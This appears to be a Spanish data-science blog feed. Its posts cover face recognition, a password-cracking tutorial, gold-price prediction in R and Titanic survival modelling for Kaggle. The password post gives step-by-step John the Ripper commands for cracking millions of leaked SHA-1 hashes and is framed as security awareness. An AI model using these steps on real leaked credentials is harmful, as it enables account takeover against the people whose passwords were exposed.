Asombrosamente, los resultados fueron casi perfectos. El algoritmo encontró 99% de las imágenes con el rostro de Al Pacino, a partir de solamente una foto. Incluso lo reconoció en casos como estos:

Las fotos que no identificó correctamente fueron estas dos:

Curiosamente, no reconoce al actor en una de las imágenes más legedarias del cine.

El parámetro --tolerance permite ajustar la tolerancia del algoritmo a similitudes entre los rostros. Valores bajos de tolerancia hacen más estricta la comparación y viceversa.

El algoritmo Deep Learning utilizado fue sorprendentemente preciso en reconocer dos sujetos dentro de un set de fotos sin clasificar. Para entender más sobre su implementación, te dejo este link.

Hasta acá el post de hoy, espero te haya gustado y gracias por leerlo.

Descifrado de contraseñas filtradas con Kali Linux y R

Al día de hoy, más de 500 millones de contraseñas han sido filtradas por grandes fallas de seguridad en muchos sitios web (Dropbox, Linkedin, MySpace, Taringa, grupos de Gmail, entre muchos otros). Estas claves suelen estar encriptadas en un hash de 40 dígitos alfanuméricos conocidos como SHA-1. En este análisis utilizaremos John The Ripper en Kali Linux para desencriptar milllones de hash y revelar los valores reales de la filtración.

Nota del autor: Este es un post de divulgación, que pretende mejorar la seguridad digital. Se sugiere discreción en el empleo de estos datos y técnicas de desencriptado.

La mejor defensa es un buen ataque.

Sun Tzu

Métodos

Se trabajó con un sistema operativo Kali Linux en una máquina virtual sobre Deepin Linux. Se utilizó un procesador Intel i7 como fuerza bruta de desencriptado. Al menos 8 Gb de RAM fueron necesarios para procesar los datos; aunque es posible usar menos cantidad, lo ideal es mayor capacidad.

Para instalar Kali sin modificar tu sistema o full instalación, revisa https://docs.kali.org/downloading/kali-linux-live-usb-install.

Hagamos un análisis preliminar en R sobre las contraseñas más comunes, para de esta forma entender mejor la data y extraer información útil para el desencriptado que planeamos.

Instalamos y ejecutamos R en la terminal de Kali con sudo apt-get install r-base y R.

Instalamos los paquetes:

install.packages(c("stringr","magrittr", "tm", "SnowballC", "wordcloud", "RColorBrewer"))

Abrimos cada paquete con la función library.

setwd("~/")#Asignamos un directorio de trabajo

Leemos las primeras contraseñas, ordenadas por frecuencia de uso, por lo que tenemos las más populares en la data de la filtración masiva. Recuerda cambiar la dirección del archivo. Las contraseñas encriptadas están disponibles en https://haveibeenpwned.com/Passwords.

my_txt <- readLines(paste( "/Downloads/", "pwned-passwords-sha1-ordered-by-count-v4.txt",sep = ""), n = 10000000) %>%

str_split_fixed( ":", 2) # separar valor del hash y la cantidad de veces que fue usada la contraseña correspondiente.

Guardamos el archivo con 10 millones de claves encriptadas

my_txt <- tolower( my_txt[1:nrow(my_txt),]) write.csv(my_txt[,1],"passwords.csv",row.names = F,quote = F)

Ahora, vamos a graficar la primera nube de palabras con las 200 contraseñas filtradas más comunes almacenadas en la página descrita.

doc <-  read.delim("passwords.txt", sep = "",header = T)
d <- data.frame(word = doc$Clave,freq= as.numeric(my_txt[1:NROW(doc$Clave),2]))
 wordcloud(words = d$word, freq = d$freq, 
max.words=200,random.order=FALSE,rot.per=0.35,
colors=brewer.pal(8, "Dark2"))

Eliminando las primeras dos claves más frecuentes, se puede obtener otra nube más interesante.

wordcloud(words = d$word[-1:-2], freq = d$freq[-1:-2], min.freq = 1,
             max.words=200, random.order=FALSE, rot.per=0.35, 
             colors=brewer.pal(8, "Dark2"))

John The Ripper

En Kali Linux existe un aplicación llamada John The Ripper, software gratuito y de código abierto para descifrar claves en distintos formatos. Generalmente este programa es utilizado para revelar o hacer cracking de contraseñas de usuarios UNIX.

Se puede instalar John The Ripper en Windows, Linux y Mac, en este link se explica. A mi juicio es más sencillo usar John en una máquina virtual, por ejemplo con Oracle VirtualBox.

El programa utiliza listas de contraseñas comunes que tiene almacenadas. Luego pasa a modo de fuerza bruta (incremental ASCII), creando contraseñas y comparándolas con el hash SHA-1 a desencriptar.

«John The Ripper» incluye el famoso diccionario de contraseñas rockyou.txt.

Para acceder a rockyou.txt, se escribe la siguiente línea de comandos.

cd /usr/share/wordlists/ #ir a la carpeta

gunzip rockyou.txt.gz # descomprimir

cp rockyou.txt ~ #copiar el archivo a capeta home

awk ' if (length ($1) > 200 ) print length } ' rockyou.txt | sort | uniq -c | sort -nr # ver que la lista tiene fallas, podemos mejorarla.

Contraseñas más frecuentes

cd /Downloads # ir al directorio de la data

sed 1d passwords.csv > pass.txt #eliminar la primera fila de datos (con el nombre de la columna) y guardar como «pass.txt»

john pass.txt # ejecutar el programa sobre la data

john pass.txt --show > results.txt # guardar resultados

wc -l results.txt # ver el número de contraseñas descifradas

En las primeras 24 horas de cómputo se obtuvieron los siguientes resultados:

4 millones de contraseñas fueron descifradas en 10 minutos, 5 millones pasada la primera hora. 24 horas horas después, casi 7 millones desencriptadas en total.

Se muestra la cantidad de contraseñas descifradas en el tiempo y algunos ejemplos en distintos momentos del experimento.

Contraseñas poco frecuentes

En la terminal:

tail -10000000 pwned-passwords-sha1-ordered-by-count-v4.txt > passwds_raras.txt

Obtenemos las 10 millones de contraseñas menos frecuentes y desciframos las que podamos en 72 horas.

john passwds_raras.txt

24 horas después:

john --show passwds_raras.txt > r24hrs_tail.txt

Hemos generado un archivo con las contraseñas descifradas. Veamos cuántas logramos decodificar:

wc -l r24hrs_tail.txt

john --restore

Repetimos el proceso hasta 72 horas de cómputo.

john --show passwds_raras.txt > r72hrs_tail.txt

2.657.981 contraseñas poco frecuentes descifradas en 24 horas. Pasadas 48 horas, 3.041.518 en total. Una disminución importante en la velocidad de desencriptado, en comparación con las contraseñas frecuentes.

Es posible desencriptar contraseñas ubicadas en líneas intermedias del archivo ordenado por frecuencia de uso con:

cut -d ':' -f1 pwned-passwords-sha1-ordered-by-count-v4.txt > passw.txt

Cortamos la data hasta el signo «:» que se separa la frecuencia de uso del hash que nos interesa.

sed -n '250000000, 260000000p' passw.txt > middle.txt

Obtenemos 10 millones de hash ubicados en líneas intermedias del archivo.

Si queremos descifrar toda la data, podemos utilizar el comando split para dividir el archivo en 50 partes.

split -n l/50 passw.txt x

Cada una de estas 50 particiones contiene cerca de 11 millones de datos y pueden ser evaluadas con el programa sin agotar la memoria de 8 Gb RAM. Utilizando este método, se lograron descifrar más de 100.000.000 de contraseñas en 7 días.

Comentarios finales

Visita http://www.sha1-online.com/ y codifica a SHA-1 cualquier palabra clave e intentar descifrarla. Para un par de claves sencillas que creé (Science1, roconro7), el programa las halló en un par de minutos:

Es posible ajustar las reglas de decodificación. En caso de tener información sobre la contraseña a predecir, puede ayudar a acelerar el descifrado. Más información en https://www.openwall.com/john/doc/.

En el caso de tener información sobre la contraseña a descifrar, el archivo john.config permite hacer modificaciones muy útiles.

Puedes revisar mi git para acceder a más información sobre este estudio.

Espero te haya gustado. Gracias por leer.

Precio del oro con Machine Learning en R y Shiny apps

El día de hoy, les invito a realizar predicciones computacionales sobre el precio del oro. En un post anterior, evalué la posibilidad de predecir el precio de la criptomoneda «Monero». Si bien aproximamos al valor real, hubo fallas al predecir las subidas y bajadas de precio entre los días. Lo que llevó a evaluar otras variables y su respuesta a los algoritmos de predicción, la mejor de éstas fue… el oro.

El objetivo de este estudio es obtener una herramienta digital para predecir ascensos y descensos en el precio del oro. Para eso, es necesario:

  1. Descargar las variables de mercado
  2. Exploración y minería de los datos
  3. Entrenamiento y evaluación de algoritmos

La data, el código y el software necesario para implementar predicciones están libres. El error será medido con un set de datos desconocidos para el algoritmo.

Vayamos a ello!

  1. Descarga de datos

En R, descargamos la data de coinmetrics.io, descomprimimos y preparamos la data para ser leída adecuadamente. En un post previo, explico cómo instalar R.

library(downloader)# para descargar la data actualizada cada día 

download("https://coinmetrics.io/data/all.zip", dest="dataset.zip",       mode="wb") 
  unzip ("dataset.zip", exdir = "./")

oro <- read.csv("gold.csv")

#vemos el último día que tenemos disponible en la data.
oro$date[nrow(t)]

Ahora que tenemos la data, cada vez que ejecutemos tendremos una versión actualizada, con datos del día. Primero, grafiquemos la serie temporal del oro.

library (ggplot2)

g <- ggplot(data = oro,aes(x=1:nrow(oro),y=oro[,2]))

g+geom_line()+geom_smooth()

Podemos agregar otra curva visualizar para las dinámicas temporales de ambas. Por ejemplo, la del dólar:

Click en la imagen

2. Exploración y minería de datos

A continuación llevo a cabo una serie de transformaciones a la data para obtener un set de entrenamiento apropiado.

n=1000 #establecemos un número de datos para entrenar

#leemos todos archivos que hemos descargado
file_vec <- list.files(pattern = ".csv")
  sselec<- lapply(file_vec,read.csv)
  names(sselec)<-file_vec

# excluimos la data target 
expl1<- file_vec[-which(file_vec=="gold.csv")]

# excluimos los datos menores a n 
 l1 <- lapply(expl1, read.csv)
 crip <- sapply(l1, function(x) nrow(x) < n)
l1 <- l1[!crip]

#cortamos los datos sobrantes y la primera fila en todos los archivos
 l1 <- lapply(l1, function(x) as.data.frame(x[nrow(x)-(nrow(x)-n):nrow(x),  ]))
l1 <- lapply(l1, function(x) as.data.frame(x[,-1  ]))
df_exp1 <- do.call(cbind, l1)

Hemos creado el set de variables explicativas o de entrada para nuestro algoritmo. Este set contiene variables numéricas de distintas monedas y criptomonedas en el mercado, como su valor en USD, su conteo, dificultad, bloques, etc… La data se ve algo así:

'data.frame': 1000 obs. of  243 variables:
 $ txCount                : int  5464 5870 5968 5505 5585 5599 6195 
 $ realizedCap.USD.       : num  44519437 44511758 44515699 44512250 
 $ generatedCoins         : num  6250 7350 6650 6700 6850 6450 6650 
 $ fees                   : num  3.4 4.38 4.68 2.94 3.37 ...
 $ activeAddresses        : int  12797 13750 18692 17763 19237 19433 
 $ averageDifficulty      : num  1689334 1689334 1753438 1755425 
 $ paymentCount           : int  6982 8137 11656 11521 13560 13054 
 $ medianFee              : num  0 0 0 0 0 0 0 0 0 0 ...
 $ blockSize              : int  2257795 2475283 2646141 2416046 
 $ blockCount             : int  125 147 133 134 137 129 133 148 146 etc...

Ahora vamos a especificar la variable respuesta (salida del algoritmo). Se transforma el precio del oro, de su valor continuo, a discreto binomial, adoptando valores de uno (1) si el precio del día siguiente es mayor o igual, o cero (0) si el precio disminuye.

library(zoo)
#eliminamos las filas demasiados NA
exp_gld <- df_exp1[, colSums(is.na(df_exp1)) != nrow(df_exp1)]

#obtenemos la variable respuesta 
gld <- oro[,2]
 df_gld <- data.frame(gld[(NROW(gld)-999):NROW(gld)],exp_gld)

#Transformar a discretos
out_gld<- vector()
 
for (i in 1:NROW(df_gld[,1])) {
 
out_gld[i]<-ifelse( df_gld[i,1]*1<df_gld[i+1,1],1,0 )

 }

Obtenida la variable respuesta, escalamos los datos explicativos para que asuman valores entre 0 y 1. De esta forma se evita dar distintos pesos a las variables y se acorta el tiempo de convergencia del algoritmo.

df_g <-data.frame(out_gld,exp_gld)

#ajustar NAs sin perder data, eliminamos el dato más actual (NA)
xg <- na.aggregate(df_g[-1000,])

# normalizar la data 
normalize <- function(x) { 
     return((x - min(x)) / (max(x) - min(x)))
   }
 xg <- lapply(xg, normalize)
 xg <- as.data.frame(xg)

3. Entrenamiento y validación de algoritmos:

Vamos a separar la data, ordenada de manera aleatoria, en un set de entrenamiento con el 70% y otro de validación con el resto. Manteniendo las proporciones de los casos (1, 0) en ambas variables en estudio.

#separamos en función de subidas o bajadas del precio
pos <- xg[xg$out_gld==1,] ; neg <- xg[xg$out_gld==0,]

#creamos un vector aleatorio, mezclamos la data y separamos  
epos <- sample(1:nrow(pos),floor(0.7*nrow(pos)))
eneg <- sample(1:nrow(neg),floor(0.7*nrow(neg)))

post <- pos[epos,]  ;   poscv <- pos[-epos,]
negt <- neg[eneg,]   ;  negcv <- neg[-eneg,]

#obtenemos la data de entrenamiento y validación
traing <- rbind(post,negt) ; cvg <- rbind(poscv,negcv)

Tenemos un set de entrenamiento para las subidas y bajadas del precio del oro y del dólar. Entrenemos un «Support Vector Machine» (SVM) y veamos que tal les va computando predicciones con el set de datos que hemos reservado.

library(e1071)

go<-  svm( as.factor(traing[,1])~., 
          data = traing[, -1],type="C-classification") 

Ahora, computemos predicciones con el set que reservamos previamente.

library(caret)

pgsvm<-  predict(go,cvg[,-1])
 
confusionMatrix(pgsvm,as.factor(cvg[,1]))

Accuracy : 0.6233                          
  95% CI : (0.5658, 0.6784)

No muy bien, pero podrían ser peor. Sigamos intentando, alcanzar un 0.667 implicaría que acertamos 2 de cada 3 veces, parece una meta razonable en este punto.

Psss…. Tras bastidores, Redes Neuronales Artificiales y Gradient Boosting fueron evaluados y tampoco funcionaron. Mucho menos vale la pena que intentemos con Regresiones Logísticas Mútiples.

Nuestro segundo algoritmo será «RandomForest» del módulo «sklearn» escrito para Python. Por lo tanto, Es necesario instalar el módulo en nuestro computador. Puedes instalar pip o Anaconda para facilitar esta tarea. Una vez instalado «sklearn», podemos utilizar la librería reticulate de R para acceder a dicho módulo de Python.

Es necesario activar un ambiente de trabajo en Python con Sklearn instalado. Luego utilizar los siguientes comando en R. Recuerda cambiar la dirección con la carpeta donde tienes el ambiente Python.

py_config
use_python("/home/ro/anaconda3/envs/ro3/bin/python")

k = import("sklearn.ensemble")    

    rfg = k$RandomForestClassifier()
    rfg$fit (traing[,-1], traing[,1])

    k$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
                             max_depth=NULL, max_features='auto', max_leaf_nodes=NULL,
                             min_impurity_split=1e-07, min_samples_leaf=1,
                             min_samples_split=2, min_weight_fraction_leaf=0.0,
                             n_estimators=20, n_jobs=1, oob_score=FALSE, random_state=NULL,
                             verbose=0, warm_start=FALSE)

  
    y_g = rfg$predict(cvg[,-1])
    confusionMatrix(as.factor(y_g),as.factor(cvg[,1]))
 
          Reference
Prediction   0   1
         0 114  67
         1  37  83
                                          
               Accuracy : 0.6545          
                                
            Sensitivity : 0.7550          
            Specificity : 0.5533                                               

Vemos que el «randomforestClassifier» de Python hace mejor clasificación en este estudio que el «svm» de R. Es de notar la baja especificidad. Sin embargo, la sensibilidad es relativamente alta.

Intentemos con la librería «randomForest» de R.

 library (randomForest)                                 
 
rfgo<-  randomForest(as.factor( traing$out_gld)~., data = traing[, -1])  
 pgrf<-  predict(rfgo,cvg[,-1])  

confusionMatrix(pgrf,as.factor(cvg[,1]))

           Reference 
Prediction       0   1         
             0 104  39         
             1  47 111                                                           
                  95% CI : (0.6562, 0.7615)
                Accuracy : 0.7143                    

Genial. Hemos logrado un resultado mejor. La subidas y bajadas del precio del oro es clasificada por «randomForest» en un 70% aproximadamente. En el futuro podemos seguir mejorando estos resultados.

Los resultados de los primeros 10 días de prueba fueron 8 aciertos y 2 fallos en las predicciones del algoritmo para el día posterior.

El código R está disponible en github: https://github.com/programandoconro/gold-and-dollar

Para DataScience de proyectos que sugieras y contrataciones envía un mensaje acá.

Gracias por leer. Hasta pronto.

Ensamble de algoritmos para alcanzar top 8% en competencia Machine Learning

En un post anterior logramos colocarnos en el top 15% de la competencia de Machine Learning en kaggle.com. Hoy, vamos a mejorar los resultados utilizando la técnica de ensamble, muy bien descrita en https://www.analyticsvidhya.com/blog/2017/02/introduction-to-ensembling-along-with-implementation-in-r/ .

El repositorio de este proyecto está en: https://github.com/programandoconro/Titanic-survivors.

Nuevamente, mis respetos a los fallecidos y sus familiares en el trágico accidente que hoy analizamos. Sobre todo, a los niños y mujeres que por viajar en clase económica tuvieron menor oportunidad de salvarse.

Dicho eso, comencemos.

Declaramos el entorno de trabajo, cargamos las librerías necesarias y formulamos una pequeña función para escalar valores entre 0 y 1.

setwd("~/PycharmProjects/titanic")
   
   library(caret)
   library(randomForest)
   library(MLmetrics)
   library(mlbench)
   library(zoo)
   library(ROSE)
   library(reticulate)
   library(MASS)
   library(qdap)
   library(stringr)
   library(e1071)
 
normalize <- function(x) { 
     return((x - min(x)) / (max(x) - min(x)))
   }

Realicemos minería de datos, principalmente llevando variables a numéricas para ser mejor procesadas. También, extrayendo información ciertas variables, por ejemplo, nombre del pasajero permite crear una variable a partir del título con el que aparece (Sr, Sra, etc..) o la cabina (A, B, C, etc..) a valores numéricos.

t <- read.csv("train.csv")
   target <- t$Survived
   exp<- t[,c(3:8,10:12)]

 x<- data.frame(target,exp)

 x$Sex<-ifelse(x$Sex=="female",0,1)

 empty <- x$Embarked == ""
   x$Embarked[empty] <- "S"
   x$Embarked<-ifelse(x$Embarked=="C",1,ifelse(x$Embarked=="Q",2,3))
 
CABIN<- lapply(x$Cabin, substring, 1, 1)
   x$Cabin<-unlist(CABIN)
   table(x$Cabin)
   x$Cabin<-as.factor(x$Cabin)
   table(x$Cabin)
   x$Cabin<-ifelse(x$Cabin=="A",
                   1,ifelse(x$Cabin=="B",
                            2,ifelse(x$Cabin=="C",
                                     3,ifelse(x$Cabin=="D",
                                              4,ifelse(x$Cabin=="E",
                                                                        5,ifelse(x$Cabin=="F",
                                                                6,ifelse(x$Cabin=="G",
                                                                         7,ifelse(x$Cabin=="T",8,0))))))))
 nombres=t$Name %>%
     str_replace_all(c(".Mrs." = "MRS.",".Mr." = "MR.",  ".Dr." = "DR.",".Capt." = "CAPT",".Col." = "COL",
                       ".Miss." = "MISS", ".Rev." = "REV", ".Master." ="MASTER",".Major." = "MAJOR", 
                       ".Countess." = "COUNTESS", ".Jonkheer." = "JONKHEER", ".Don." = "DON", ".Mlle." = "MLLE", 
                       ".Ms." = "MS", ".Mme." = "MME"))
 x$Fare<-replace(x$Fare,x$Fare>100,100)
 x$Name=ifelse(nombres=="MR.",1,ifelse(nombres=="MRS.",2,ifelse(nombres=="MISS",3, 4)))
 
 x<-na.aggregate(x)
 x<-lapply(x, normalize)
 x<-as.data.frame(x)

Obtenida nuestra data frame, con las mejores condiciones numéricas que hemos podido aplicar, vamos a separar en partes iguales un set de entrenamiento y uno de validación. Debido a que la data está desbalanceada (murieron más pasajeros que los que sobrevivieron), es importante mantener esa misma proporción en ambos sets.

pos=x[x$target==1,];neg=x[x$target==0,]
   set.seed(7)
   epos=sample(1:nrow(pos),floor(0.5*nrow(pos)))
   post=pos[epos,]
   poscv=pos[-epos,]
 
   eneg=sample(1:nrow(neg),floor(0.5*nrow(neg)))
   negt=neg[eneg,]
   negcv=neg[-eneg,]
   train=rbind(post,negt); cv=rbind(poscv,negcv)

Entrenamos varios algoritmos, a partir de distintas librerías de R y Python.

py_config
   use_python("/home/ro/anaconda3/envs/ro3/bin/python")
 k = import("sklearn.ensemble")
 rf = k$RandomForestClassifier()
 apply(train, 2, function(x) any(is.na(x)))
 rf$fit (train[,-1], train[,1])
 
################################################
k$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
                            max_depth=NULL, max_features='auto', max_leaf_nodes=NULL,
                            min_impurity_split=1e-07, min_samples_leaf=1,
                            min_samples_split=2, min_weight_fraction_leaf=0.0,
                            n_estimators=10, n_jobs=1, oob_score=FALSE, random_state=NULL,
                            verbose=0, warm_start=FALSE)
   y_pred = rf$predict(cv[,-1])
 #############################################

 k2 = import("sklearn.ensemble")
 rf2 = k2$RandomForestClassifier()
 rf2$fit (train[,-1], train[,1])
 k2$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
                             max_depth=NULL, max_features='auto', max_leaf_nodes=NULL,
                             min_impurity_split=1e-07, min_samples_leaf=1,
                             min_samples_split=2, min_weight_fraction_leaf=0.0,
                             n_estimators=10, n_jobs=1, oob_score=FALSE, random_state=NULL,
                             verbose=0, warm_start=FALSE)
   y_pred = rf2$predict(cv[,-1])
   ##########################################

   k3 = import("sklearn.ensemble")
 rf3 = k3$RandomForestClassifier()
 rf3$fit (train[,-1], train[,1])
 k3$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
                             max_depth=NULL, max_features='auto', max_leaf_nodes=NULL,
                             min_impurity_split=1e-07, min_samples_leaf=1,
                             min_samples_split=2, min_weight_fraction_leaf=0.0,
                             n_estimators=10, n_jobs=1, oob_score=FALSE, random_state=NULL,
                             verbose=0, warm_start=FALSE)
   y_pred = rf3$predict(cv[,-1])
 ##############################################

 k6<- svm(as.factor(train[,1]) ~ . ,data = train[,-1],
            scale = TRUE,type="C-classification",kernel="polynomial",
            gamma=0.05,cost=4)
################################################
 k7<- randomForest(as.factor(train[,1]) ~ . ,data = train[,-1])

Hemos creado 5 algoritmos, 3 con el módulo de Python «sklearn» (conexión posible gracias a la librería «reticulate» de R), otro algoritmo ha sido un Support Vector Machine y finalmente un «randomForest».

Es momento de evaluar cada algoritmo por separado a partir de la data de validación que hemos preparado en código anterior.

test<-cv
 exp<- test[,c(-1)]
 x<- exp
 xtest <- x
 Survived1<-rf$predict(xtest)
   Survived2<-rf2$predict(xtest)
   Survived3<-rf3$predict(xtest)
   Survived4<-predict(k6,xtest)
   Survived5<- predict(k7,xtest)
 
confusionMatrix(as.factor(Survived1),as.factor(test[,1]))
   confusionMatrix(as.factor(Survived2),as.factor(test[,1]))
   confusionMatrix(as.factor(Survived3),as.factor(test[,1]))
   confusionMatrix(as.factor(Survived4),as.factor(test[,1]))
   confusionMatrix(as.factor(Survived5),as.factor(test[,1]))

Las matrices de confusión nos revelan que tenemos 5 algoritmos «débiles». Estos algoritmos han sido probados de manera independiente, promediada o dependiedo del peso de cada algoritmo y no hemos pasado del 79,9% de exactitud.

Ahora, entrenaremos un nuevo algoritmo, un «gbm», al cual le sumistraremos la data de entrenamiento y los resultados obtenidos por nuestros 5 primeros algoritmos. Este nuevo algoritmo posee información nueva, veamos que sucede.

res1=lapply(data.frame(Survived1,Survived2,Survived3,Survived4,Survived5),as.factor)

   res1=as.data.frame(res1)
   res1=data.frame(res1,xtest)
 
fitControl <- trainControl(
     method = "cv",
     number = 10,
     savePredictions = 'final', 
     classProbs =F 
   )
 
model_gbm<- 
     train(x=res1,
           y=as.factor(test[,1]),
           method='gbm',
           tuneLength=5,trControl=fitControl)
 
pepa2=predict(model_gbm,res1)
confusionMatrix(pepa2,as.factor(test[,1]))

En teoría, nuestro nuevo algoritmo hace un mejor trabajo que los primeros 5. Por lo tanto, es momento de aplicarlo a la data que el algoritmo no ha conocido y enviar los resultados a la competencia.

test<-read.csv("test.csv")
 x<- test[,c(-1,-8)]
 
 x$Sex<-ifelse(x$Sex=="female",0,1)
 table(x$Embarked)
   empty <- x$Embarked == ""
   x$Embarked[empty] <- "S"
   x$Embarked<-ifelse(x$Embarked=="C",1,ifelse(x$Embarked=="Q",2,3))
 CABIN<- lapply(x$Cabin, substring, 1, 1)
   x$Cabin<-unlist(CABIN)
   table(x$Cabin)
   x$Cabin<-as.factor(x$Cabin)
   table(x$Cabin)
   x$Cabin<-ifelse(x$Cabin=="A",
                   1,ifelse(x$Cabin=="B",
                            2,ifelse(x$Cabin=="C",
                                     3,ifelse(x$Cabin=="D",
                                              4,ifelse(x$Cabin=="E",
                                                       5,ifelse(x$Cabin=="F",
                                                                6,ifelse(x$Cabin=="G",
                                                                         7,ifelse(x$Cabin=="T",8,0))))))))
 nombres=test$Name %>%
     str_replace_all(c(".Mrs." = "MRS.",".Mr." = "MR.",  ".Dr." = "DR.",".Capt." = "CAPT",".Col." = "COL",
                       ".Miss." = "MISS", ".Rev." = "REV", ".Master." ="MASTER",".Major." = "MAJOR", 
                       ".Countess." = "COUNTESS", ".Jonkheer." = "JONKHEER", ".Don." = "DON", ".Mlle." = "MLLE", 
                       ".Ms." = "MS", ".Mme." = "MME"))
 x$Name=ifelse(nombres=="MR.",1,ifelse(nombres=="MRS.",2,ifelse(nombres=="MISS",3, 4)))
 
x<-na.aggregate(x)
 x<-lapply(x, normalize)
 x<-as.data.frame(x)
 xtest <- x
 
   Survived1<-rf$predict(xtest)
   Survived2<-rf2$predict(xtest)
   Survived3<-rf3$predict(xtest)
   Survived4<-predict(k6,xtest)
   Survived5<- predict(k7,xtest)
 
res1=lapply(data.frame(Survived1,Survived2,Survived3,Survived4,Survived5),as.factor)
   
res1=as.data.frame(res1)
 res1=data.frame(res1,xtest)
 
Survived=predict(model_gbm,res1)
 
y=data.frame(Survived,test)
write.csv(y,"sendf3.csv",row.names = F)

Hemos generado un data frame con las predicciones y la data de entrenamiento respectiva. Ahora podemos jugar con varios parámetros de los modelos o de la data y obtener varias versiones que pueden ser comparadas. En los casos de discrepancias de resultados, el investigador puede tomar una decisión o programar una función en base a la información que tenemos de la data.

Accuracy = 0.80861

Logramos pasar del top 15% al top 8% con la implementación del ensamble. Ver usuario DataScienceconRo (Accuracy 0.80861) en https://www.kaggle.com/c/titanic/leaderboard#score. Espero haya sido de tu agrado, gracias por leer. Recuerda que puedes contactarme o dejarme un mensaje si tienes dudas o sugerencias.

Recuerda que el repositorio de este proyectos está en: https://github.com/programandoconro/Titanic-survivors

Titanic: Machine Learning para predecir sobrevivientes del naufragio

download

Si te preguntas si habrías sobrevivido al Titanic, este post te va interesar. Describiré los gráficos y las técnicas que utilicé para la descripición inicial. Este proyecto es parte de la competencia de kaggle.com disponible en https://github.com/progamandoconro/Titanic-survivors. Espero sea de tu agrado.

Primero que nada, mis respetos a los familiares y víctimas de la catástrofe. El objetivo de este estudio es generar predicciones de la sobrevivencia de los pasajeros en función ciertas variables sociales y económicas. La evaluación es realizada por kaggle.com a partir de un set de datos nuevo, desconocido para los competidores.

Para este post trabajé con Python 3.7 instalado con Anaconda en un Sistema Operativo Linux con Debian 9 (Deepin).

Cargamos las librerías de Python que vamos utilizar y creamos una función para limpiar la consola de trabajo con cls(). La data puedes encontrarla en: https://www.kaggle.com/c/titanic/data.

import os
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns

#clean console
def cls():
    os.system('cls' if os.name=='nt' else 'clear')

rain = pd.read_csv('~/PycharmProjects/titanic/train.csv')

test = pd.read_csv('~/PycharmProjects/titanic/test.csv')

Leímos la data con la librería pandas.  Ahora vamos a hacer unas exploraciones generales para entender mejor la data y descifrar patrones interesantes que podemos usar más adelante en nuestras predicciones.

Las 5 primeras filas de  la data lucen así:

train.head()
DeepinScreenshot_20190510111544

Ahora hagamos unas tablas de frecuencias:

survived_sex = pd.crosstab(index=train["Survived"],
                           columns=train["Sex"])
survived_class = pd.crosstab(index=train["Survived"],
                           columns=train["Pclass"])
survived_em = pd.crosstab(index=train["Survived"],
                           columns=train["Embarked"])

survived_class.index= ["died","survived"]
survived_sex.index= ["died","survived"]
survived_em.index= ["died","survived"]

survived_class
survived_sex
survived_em
DeepinScreenshot_20190509193337
DeepinScreenshot_20190509193337
DeepinScreenshot_20190510114159

Parece que la película  tiene razón hasta ahora, los ricos (1 clase) tuvieron más probabilidad de sobrevivir. El sexo también es una variable importante que determinó la sobrevivencia, «mujeres y niños primero». La zona de embarque, sobretodo en la S, también jugó un papel importante en la sobrevivencia de los pasajeros.

Ahora veamos combinaciones de interés para encontrar patrones:

sns.catplot(y="Age", x="Survived", hue="Pclass", data=train,kind="swarm");
plt.show()
pclass
pclass

Trágico, los niños pobres (3ra clase), representan la vasta mayoría de niños que murieron en la catástrofe. Había pocos niños en primera clase (4), sólo uno murió. Los niños de segunda clase (17) , afortunadamente sobrevivieron todos. En cuanto a las personas mayores, los más ancianos murieron, salvo el más anciano de todos, que viajaba en primera. En la sección de adultos (entre 20 y 50 años), vemos que se cumple lo visto en la película. Los pobres representaron la mayor proporción de los muertos entre las clases.

sns.catplot(y="Age", x="Survived", hue="Sex", data=train,kind="swarm");
plt.show()

Podemos ver en azul al sexo masculino y en naranja al sexo femenino. El primer grupo a la izquierda son los fallecidos, a la derecha los sobrevivientes. En el eje y tenemos la edad del pasajero.

sex

En conclusión de la exploración inicial,  los sobrevivientes presentaron una proporción de clases y sexo distinta a cuando abordaron el barco (Leonardo se enteró). La distribución de sexos, edad y clase económica entre los fallecidos y los sobreviviente fue muy desigual.

Veamos ahora otras variables menos intuitivas de la data.

survived_sib = pd.crosstab(index=train["Survived"],
                           columns=train["SibSp"])
survived_parch = pd.crosstab(index=train["Survived"],
                           columns=train["Parch"])

survived_sib.index= ["died","survived"]
survived_parch.index= ["died","survived"]

survived_sib
survived_parch
DeepinScreenshot_20190510120803
DeepinScreenshot_20190510121058

El parch se refiere al número de familia sanguínea a bordo.  Las personas con 1, 2 o 3 hijos o padres a bordo fueron los más afortunados.  Con 0 familia, sólo un tercio sobrevivió. El caso de personas con un hijo o padre a bordo fue el único dónde el número de sobrevivientes superó al de fallecidos, siendo poco más de la mitad de sobreviventes. En el caso de la variable SibSp (esposa o familiar no sanguíneo), se cumplen relaciones parecidas a las descritas para el Parch, teniendo las personas con  1 SibSp mayor proporción de sobrevivientes. Vamos graficar a estas dos variables junto con la sobrevivencia para visualizar mejor que sucedió.

sns.catplot(y="SibSp", x="Parch", hue="Survived", data=train,kind="swarm")
plt.show()

parch

Efectivamente, podemos ver secciones dónde hubo mayor sobrevivencia. Entre los parches 1 y dos, con SibSp también cercana a 1 y 2, se presentaron las mayores proporciones de sobrevivientes. Esto nos hace pensar que las familias pequeñas tuvieron mejor chance de sobrevivir que las grandes o las personas solas.

Todos estos patrones que hemos encontrado, vislumbran que también los algoritmos harán un buen trabajo y lograremos predicciones con precisión elevada.

Ahora, un poco de Machine Learning para tratar de predecir la sobrevivencia basados en la información que tenemos. Esta vez en R y Python en conjunto gracias a la librería «reticulate». El boosting lo haremos al final enteramente en Python y, como proyecto futuro, una app dónde, según la data socio-económica que el usuario suministre, se estime la probabilidad de sobrevivencia hipotética en caso de haber estado en el naufragio.

A continuación la minería de la data suministrada en la competencia, con el fin de generar un set preparado para el entrenamiento de los algoritmos. Ahora en R.

setwd("~/PycharmProjects/titanic")

library(caret)
library(randomForest)
library(MLmetrics)
library(mlbench)
library(zoo)
library(ROSE)
library(reticulate)
library(MASS)
library(qdap)
library(stringr)

normalize < - function(x)
{
return ((x - min(x)) / (max(x) - min(x)))
}

t < - read.csv("train.csv")
target < - t$Survived

colnames(t)
exp < - t[, c(3:8, 10:12)]
colnames(exp)

x < - data.frame(target, exp)
# x<-x[sapply(x, function(x) !any(is.na(x)))]
# vamos a atender el asunto de los NA

